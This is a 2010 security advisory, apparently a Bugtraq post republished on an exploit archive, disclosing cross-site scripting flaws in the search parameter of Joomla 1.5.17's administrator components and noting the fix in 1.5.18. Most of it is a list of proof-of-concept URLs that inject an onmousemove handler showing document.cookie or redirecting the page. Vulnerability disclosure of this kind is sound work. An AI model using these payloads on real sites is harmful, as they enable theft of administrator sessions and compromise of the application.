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Joomla 1.5.17 Cross Site Scripting

Joomla 1.5.17 Cross Site Scripting
Posted Jun 3, 2010
Authored by Riyaz Walikar

Joomla! versions 1.5.17 and below suffer from cross site scripting vulnerabilities in the administrative section.

tags | exploit, vulnerability, xss
SHA-256 | 25ac2c460f192e21e01ba5044c56b983e141bea3b4aa5664eff510378929c19b

Joomla 1.5.17 Cross Site Scripting

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Hi Bugtraq,

This is regarding multiple XSS vulnerabilities in multiple core
components of the administrative section of Joomla!

* Project: Joomla!
* SubProject: All
* Severity: High
* Versions: 1.5.17 and all previous 1.5 releases
* Exploit type: XSS Injection
* Reported Date: 2010-May-13
* Fixed Date: 2010-May-28
* Fixed Version: Joomla! 1.5.18
* Update Download Link: http://www.joomla.org/download.html
* Info URL: http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable application.


The vulnerability arises due to the administrator core components
failing to properly sanitize user-supplied input in the "search"
variable. Successful exploitation of this vulnerability could result
in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection,
disclosure or modification of sensitive data and phishing attacks.


An attacker can send a link with the exploit to an administrator whose
access could compromise the application. The following PoC is
available:


http://joomlasite/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://joomlasite/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:window.location.assign%28%27http://www.google.com%27%29%22%3E


http://joomlasite/administrator/index.php?option=com_trash&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_content&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_sections&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_categories&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_frontpage&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_menus&task=view&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_messages&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_banners&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_banners&c=client&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_categories&section=com_banner&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_contact&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_categories&section=com_contact_details&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_categories&section=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_poll&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_categories&section=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_modules&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E



http://joomlasite/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

Regards,
Riyaz Ahemed Walikar
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